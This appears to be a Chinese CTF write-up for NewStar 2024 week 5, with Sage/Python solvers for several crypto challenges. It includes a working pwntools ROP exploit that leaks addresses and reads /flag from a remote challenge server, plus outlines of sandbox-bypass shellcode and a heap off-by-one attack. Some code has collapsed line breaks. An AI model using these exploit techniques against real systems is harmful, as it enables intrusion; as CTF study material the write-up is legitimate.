当前位置: 首页 > news >正文

[NewStar 2024] week5完结

每次都需要用手机验证码登录,题作的差不多就没再进过。今天把week5解出的部分记录下。好像时间过去很久了。

Crypto

没e也能完

这题给了e,p,q,dp,dq。真不清楚还缺啥 long_to_bytes(pow(c,dp,p))

格格你好棒

给了a,b和提示((p+2*r) * 3*a + q) % b < 70 其中r是个短量。可以推出

3ap+6ra+q = kb+alpha 显然这里的k也就一两位,暂时弄个8爆破一下(别更他名字里的格)

for k in range(1,8):tp = k*b//(3*a)if tp.nbits()==512:print(tp)tq = k*b - tp*3*a for i in range(70):q = tq + i if isPrime(q):print(long_to_bytes(int(pow(c,inverse_mod(0x10001,q-1),q))))

这个代码有点斜,从一开始就吐槽python是多么神经非要用空格代替块标记。 为了减少缩进还要用逆向的规则not continue。就不用逆向的,就斜着写。python最大的缺点应该就是用空格代替块标记吧。

easy_ECC

把给的数代进去就行

#C1 = m + r*K = m +r*k*G  = m + k*C2
#C1 - k*C2 = m
E = EllipticCurve(GF(p),[a,b])
C1,C2 = E(c1),E(c2)
m = C1 - k*C2
x,y = m.xy()
long_to_bytes(int(c_left*inverse_mod(int(x),p)%p))+long_to_bytes(int(c_right*inverse_mod(int(y),p)%p))
#flag{This_is_the_last_crypto_}

RSA?md5!

flag就差7个字节,copper一下就行

hm0 = pow(s,e,n)
hm = long_to_bytes(int(hm0))
#b'86133884de98baada58a8c4de66e15b8'
#部分明文已知
#flag = 'flag{th1s_1s_my_k3y:' + m + '0x86133884de98baada58a8c4de66e15b8}'
P.<x> = PolynomialRing(Zmod(n))
f = (x*256^35 + bytes_to_long(b'flag{th1s_1s_my_k3y:')*256^(35+7) + bytes_to_long(b'0x86133884de98baada58a8c4de66e15b8}'))^e - c 
#res = f.monic().small_roots(X=256^7)
#res
#long_to_bytes(int(res[0]))
#cmd5查询
m0 = 'adm0n12'
get_flag(m0)
#flag{th1s_1s_my_k3y:adm0n120xbfab06114aa460b85135659e359fe443f9d91950ca95cbb2cbd6f88453e2b08b}

学以致用

3个方程2个未知数,度又很低,直接求groebner_basis

gift = b'GoOd_byE_nEw_5t@r'
m3 = bytes_to_long(gift)
P.<m1,m2> = PolynomialRing(Zmod(n))
f1 = m1^3 - c1
f2 = m2^3 - c2 
f3 = (m1+m2+m3)^3 - c3 F = [f1,f2,f3]
ideal = Ideal(F)
I = ideal.groebner_basis()
print(I)res=[x.constant_coefficient() for x in I]
m1 = -res[0]%n
m2 = -res[1]%n
long_to_bytes(int(m1))
long_to_bytes(int(m2))
#flag{W1Sh_you_Bec0me_an_excelL3nt_crypt0G2@pher}

PWN

C_or_CPP

先是c输入的时候泄露残留得到ld(一般是libc,不过ld也有对应的可执行块和pop_rdi等gadget)然后是c++到c复制的时候有溢出。这锅都让C背了

from pwn import *
context(arch='amd64', log_level='debug')ld = ELF('./ld-linux-x86-64.so.2')
libc = ELF('./libc.so.6')
elf = ELF('./C_or_CPP')#p = process('./C_or_CPP')
p = remote('47.104.11.21', 32794)p.sendlineafter(b"Please choose an option: ", b'2')
p.recvuntil(b"Address of c_string: ")
stack = int(p.recvline(), 16) +0x70
p.sendlineafter(b"C++ String input: ", b'END')
p.sendafter(b"C String input: ", b'A'*0x50)
p.recvuntil(b'A'*0x50)
ld_base = u64(p.recv(6)+b'\0\0') - 0x3a040
pop_rdi = ld_base + 0x000000000000351e # pop rdi ; ret
pop_rsi = ld_base + 0x00000000000054da # pop rsi ; ret
pop_rdx = ld_base + 0x0000000000020323 # pop rdx ; pop rbx ; ret
pop_rax_rdx = ld_base + 0x0000000000020322 # pop rax ; pop rdx ; pop rbx ; ret
print(f"{stack = :x} {ld_base = :x}")p.sendlineafter(b"Please choose an option: ", b'5')
p.sendlineafter(b"Try to say something: ", flat(b'\0'*0x48, pop_rdi, elf.got['puts'], elf.plt['puts'], 0x402e4a))
libc.address = u64(p.recv(6) + b'\0\0') - libc.sym['puts']
print(f"{libc.address = :x}")#gdb.attach(p, "b*0x402f8b\nc")
pop_rax = libc.address + 0x0000000000045eb0 # pop rax ; retsyscall = libc.sym['getpid']+9
p.sendlineafter(b"Try to say something: ", flat([b'/flag\0\0\0'*8,0,  pop_rdi, stack, pop_rsi, 0, pop_rax,2,syscall,pop_rdi, 3, pop_rsi, 0x408800, pop_rax_rdx, 0,0x50,0, syscall,pop_rdi, 1, pop_rax, 1, syscall]))p.interactive()

simple_shellcode

以下待完成。这个的漏洞在于当输入中包含非字母时会删除,但是指针i并不会在原地保留继续检查,而是像正常指针一样移到下一个,比如当前是2,删除后3会变为2而下个检查是3,这样不合法的字节写两遍即可绕过检查。也可以用字母写shellcode就是麻烦点。对于每次只能输入8字节,就每次输入8字节就行了多输入几次。

然后对于沙箱用openat代替read用mmap代替read用writev代码write

no_output

对于关闭0,1,2的情况,因为与用户的连接已经中断,侧信道是不行了。听说打内网的时候可以开socket然后send。可以咱也没有互联网的IP,算了。看了官方WP还真是开socket,无语。

当时还想到另外一种情况fork+ptrace不过没成功,开两个进程不清楚pid也没成功。不过WP说也可以但pid怎么弄还是个问题。

Elden_Ring

两个绕过,第1个是strncmp这个函数跟strcmp,stricmp差不多,当参1串\0里结束,所以只需要输入一个sh256后开头是0的串即可,这个需要爆破一下,平均1/256

第2个是输入base64值去=,会申请L//4*3+1的空间,而解码后长度能达到L//4*3+2,也就是有个off_by_one,堆题也就够了。后边是2.23的用realloc_hook 调偏移+malloc_hook

相关文章:

[NewStar 2024] week5完结

每次都需要用手机验证码登录&#xff0c;题作的差不多就没再进过。今天把week5解出的部分记录下。好像时间过去很久了。 Crypto 没e也能完 这题给了e,p,q,dp,dq。真不清楚还缺啥 long_to_bytes(pow(c,dp,p)) 格格你好棒 给了a,b和提示((p2*r) * 3*a q) % b < 70 其中r…...

IntelliJ IDEA的快捷键

IntelliJ IDEA 是一个非常强大的集成开发环境&#xff0c;它提供了大量的快捷键来加速开发者的日常工作。这里为您整理了一份 IntelliJ IDEA 的快捷键大全&#xff0c;包含了编辑、导航、重构、运行等多个方面的快捷键。请注意&#xff0c;这些快捷键是基于 Windows 版本的 Int…...

暮雨直播 1.3.2 | 内置直播源,频道丰富,永久免费

暮雨直播是一款内置直播源的电视直播应用程序&#xff0c;提供丰富的频道内容&#xff0c;包括教学、首页、一线、博主、解说、动漫、堆堆等。该应用的内置直播源持续更新维护&#xff0c;确保用户可以稳定地观看各种电视频道。暮雨直播承诺永久免费&#xff0c;为用户提供了一…...

单相锁相环,原理与Matlab实现

单相锁相环基本原理 单相锁相环的基本原理图如下所示&#xff0c; u α u_\alpha uα​ u β u_\beta uβ​经Park变换、PI控制实现对角频率 ω \omega ω和角度 θ \theta θ的估算。不同锁相环方案之间的差异&#xff0c;主要表现在正交电压 u β u_\beta uβ​的生成&#x…...

PICO+Unity 用手柄点击UI界面

如果UI要跟随头显&#xff0c;可将Canvas放置到XR Origin->Camera Offset->Main Camera下 1.Canvas添加TrackedDeviceGraphicRaycaster组件 2.EventSystem移动默认的Standard Input Module&#xff0c;添加XRUIInputModule组件 3.&#xff08;可选&#xff09;设置射线可…...

Rust移动开发:Rust在iOS端集成使用介绍

iOS调用Rust 上篇介绍了 Rust移动开发&#xff1a;Rust在Android端集成使用介绍, 这篇主要看下iOS上如何使用Rust&#xff0c;Rust可以给移动端开发提供跨平台&#xff0c;通用组件支持。 该篇适合对iOS、Rust了解&#xff0c;想知道如何整合调用和编译的&#xff0c;如果想要…...

虚拟现实技术在旅游行业的应用

&#x1f493; 博客主页&#xff1a;瑕疵的CSDN主页 &#x1f4dd; Gitee主页&#xff1a;瑕疵的gitee主页 ⏩ 文章专栏&#xff1a;《热点资讯》 虚拟现实技术在旅游行业的应用 虚拟现实技术在旅游行业的应用 虚拟现实技术在旅游行业的应用 引言 虚拟现实技术概述 定义与原理…...

《Java核心技术 卷I》Swing使用颜色

使用颜色 使用Graphics2D类的setPaint方法可以为图形上下文上的所有后续的绘制操作选择颜色。例如&#xff1a; g2.setPaint(Color.RED); g2.drawString("Warning!",100,100); 可以用一种颜色填充一个封闭图像(例如&#xff1a;矩形或椭圆)的内部。为此&#xff…...

神书《从零构建大模型》分享,尚未发布,GitHub标星22k!!

《从零构建大模型》是一本即将于今年10月底发布的书籍&#xff0c;github已经吸引了惊人的21.7k标星&#xff01;作者是威斯康星大学麦迪逊分校的终身教授&#xff0c;在GitHub、油管、X上拥有大量粉丝&#xff0c;是一位真正的大佬。 本书免费获取地址 在本书中&#xff0…...

【JavaEE进阶】Spring AOP 原理

在之前的博客中 【JavaEE进阶】Spring AOP使用篇_aop多个切点-CSDN博客 我们主要学习了SpringAOP的应用, 接下来我们来学习SpringAOP的原理, 也就是Spring是如何实现AOP的. SpringAOP 是基于动态代理来实现AOP的,咱们学习内容主要分以下两部分 1.代理模式 2.Spring AOP源码剖…...

【网络安全】2.3 安全的网络设计_2.防御深度原则

文章目录 一、网络架构二、网络设备三、网络策略四、处理网络安全事件五、实例学习&#xff1a;安全的网络设计结论 网络设计是网络安全的基础&#xff0c;一个好的网络设计可以有效的防止攻击者的入侵。在本篇文章中&#xff0c;我们将详细介绍如何设计一个安全的网络&#…...

测绘程序设计|C#字符串及其操作|分割|取子串|格式化数值|StringBuilder类

由于微信公众号改变了推送规则&#xff0c;为了每次新的推送可以在第一时间出现在您的订阅列表中&#xff0c;记得将本公众号设为星标或置顶喔~ 简单介绍了C#字符串分割、取子串、拼接、格式化数值以及StringBuilder类&#xff0c;拿捏测绘程序设计大赛~ &#x1f33f;前言 字…...

自然语言处理——Hugging Face 详解

Hugging Face 是一个以自然语言处理&#xff08;NLP&#xff09;为核心的人工智能平台和开源社区&#xff0c;提供了一系列非常流行的机器学习工具和预训练模型&#xff0c;尤其在文本生成、分类、翻译、情感分析等任务中表现出色。Hugging Face 旗下最为著名的项目是 Transfor…...

本地保存mysql凭据实现免密登录mysql

本地保存mysql凭据 mysql加密登录文件简介加密保存mysql用户的密码到本地凭据 mysql加密登录文件简介 要在 mysql客户端 上连接 MySQL 而无需在命令提示符上输入用户名和口令&#xff0c;下列三个位置可用于存储用户的mysql 凭证来满足此要求。 配置文件my.cnf或my.ini /etc…...

Ubuntu 22 安装 Apache Doris 3.0.3 笔记

Ubuntu 22 安装 Apache Doris 3.0.3 笔记 1. 环境准备 Doris 需要 Java 17 作为运行环境&#xff0c;所以首先需要安装 Java 17。 sudo apt-get install openjdk-17-jdk -y sudo update-alternatives --config java在安装 Java 17 后&#xff0c;可以通过 sudo update-alter…...

构建智能防线 灵途科技光电感知助力轨交全向安全防护

10月27日&#xff0c;在南京南站至紫金山东站间的高铁联络线上&#xff0c;一头野猪侵入轨道&#xff0c;与D5515次列车相撞&#xff0c;导致设备故障停车。 事故不仅造成南京南站部分列车晚点&#xff0c;还在故障排查过程中导致随车机械师因被邻线限速通过的列车碰撞而不幸身…...

【go从零单排】泛型(Generics)、链表

&#x1f308;Don’t worry , just coding! 内耗与overthinking只会削弱你的精力&#xff0c;虚度你的光阴&#xff0c;每天迈出一小步&#xff0c;回头时发现已经走了很远。 &#x1f4d7;概念 在Go语言中&#xff0c;泛型&#xff08;Generics&#xff09;允许你编写可以处理…...

IoTDB 与 HBase 对比详解:架构、功能与性能

五大方向&#xff0c;洞悉 IoTDB 与 HBase 的详尽对比&#xff01; 在物联网&#xff08;IoT&#xff09;领域&#xff0c;数据的采集、存储和分析是确保系统高效运行和决策准确的重要环节。随着物联网设备数量的增加和数据量的爆炸式增长&#xff0c;开发者和决策者们需要选择…...

推荐一款ETCD桌面客户端——Etcd Workbench

Etcd Workbench 我相信很多人在开始管理ETCD的时候都去搜了Etcd客户端工具&#xff0c;然后找到了官方的Etcd Manager&#xff0c;但用完之后发现它并不好用&#xff0c;还不支持多连接和代码格式化&#xff0c;并且已经好几年不更新了&#xff0c;于是市面上就有了好多其他客…...

01 Oracle 数据库存储结构深度解析:从数据文件到性能优化的全链路探究

文章目录 Oracle 数据库存储结构深度解析&#xff1a;从数据文件到性能优化的全链路探究一、Oracle存储结构的物理层次1.1 控制文件&#xff08;Control File&#xff09;1.2 联机重做日志文件&#xff08;Online Redo Log File&#xff09;1.3 数据文件&#xff08;Data File&…...

SkyWalking 10.2.0 SWCK 配置过程

SkyWalking 10.2.0 & SWCK 配置过程 skywalking oap-server & ui 使用Docker安装在K8S集群以外&#xff0c;K8S集群中的微服务使用initContainer按命名空间将skywalking-java-agent注入到业务容器中。 SWCK有整套的解决方案&#xff0c;全安装在K8S群集中。 具体可参…...

反向工程与模型迁移:打造未来商品详情API的可持续创新体系

在电商行业蓬勃发展的当下&#xff0c;商品详情API作为连接电商平台与开发者、商家及用户的关键纽带&#xff0c;其重要性日益凸显。传统商品详情API主要聚焦于商品基本信息&#xff08;如名称、价格、库存等&#xff09;的获取与展示&#xff0c;已难以满足市场对个性化、智能…...

JavaScript 中的 ES|QL:利用 Apache Arrow 工具

作者&#xff1a;来自 Elastic Jeffrey Rengifo 学习如何将 ES|QL 与 JavaScript 的 Apache Arrow 客户端工具一起使用。 想获得 Elastic 认证吗&#xff1f;了解下一期 Elasticsearch Engineer 培训的时间吧&#xff01; Elasticsearch 拥有众多新功能&#xff0c;助你为自己…...

深入浅出:JavaScript 中的 `window.crypto.getRandomValues()` 方法

深入浅出&#xff1a;JavaScript 中的 window.crypto.getRandomValues() 方法 在现代 Web 开发中&#xff0c;随机数的生成看似简单&#xff0c;却隐藏着许多玄机。无论是生成密码、加密密钥&#xff0c;还是创建安全令牌&#xff0c;随机数的质量直接关系到系统的安全性。Jav…...

Go 语言接口详解

Go 语言接口详解 核心概念 接口定义 在 Go 语言中&#xff0c;接口是一种抽象类型&#xff0c;它定义了一组方法的集合&#xff1a; // 定义接口 type Shape interface {Area() float64Perimeter() float64 } 接口实现 Go 接口的实现是隐式的&#xff1a; // 矩形结构体…...

学习STC51单片机31(芯片为STC89C52RCRC)OLED显示屏1

每日一言 生活的美好&#xff0c;总是藏在那些你咬牙坚持的日子里。 硬件&#xff1a;OLED 以后要用到OLED的时候找到这个文件 OLED的设备地址 SSD1306"SSD" 是品牌缩写&#xff0c;"1306" 是产品编号。 驱动 OLED 屏幕的 IIC 总线数据传输格式 示意图 …...

VTK如何让部分单位不可见

最近遇到一个需求&#xff0c;需要让一个vtkDataSet中的部分单元不可见&#xff0c;查阅了一些资料大概有以下几种方式 1.通过颜色映射表来进行&#xff0c;是最正规的做法 vtkNew<vtkLookupTable> lut; //值为0不显示&#xff0c;主要是最后一个参数&#xff0c;透明度…...

QT: `long long` 类型转换为 `QString` 2025.6.5

在 Qt 中&#xff0c;将 long long 类型转换为 QString 可以通过以下两种常用方法实现&#xff1a; 方法 1&#xff1a;使用 QString::number() 直接调用 QString 的静态方法 number()&#xff0c;将数值转换为字符串&#xff1a; long long value 1234567890123456789LL; …...

select、poll、epoll 与 Reactor 模式

在高并发网络编程领域&#xff0c;高效处理大量连接和 I/O 事件是系统性能的关键。select、poll、epoll 作为 I/O 多路复用技术的代表&#xff0c;以及基于它们实现的 Reactor 模式&#xff0c;为开发者提供了强大的工具。本文将深入探讨这些技术的底层原理、优缺点。​ 一、I…...

图表类系列各种样式PPT模版分享

图标图表系列PPT模版&#xff0c;柱状图PPT模版&#xff0c;线状图PPT模版&#xff0c;折线图PPT模版&#xff0c;饼状图PPT模版&#xff0c;雷达图PPT模版&#xff0c;树状图PPT模版 图表类系列各种样式PPT模版分享&#xff1a;图表系列PPT模板https://pan.quark.cn/s/20d40aa…...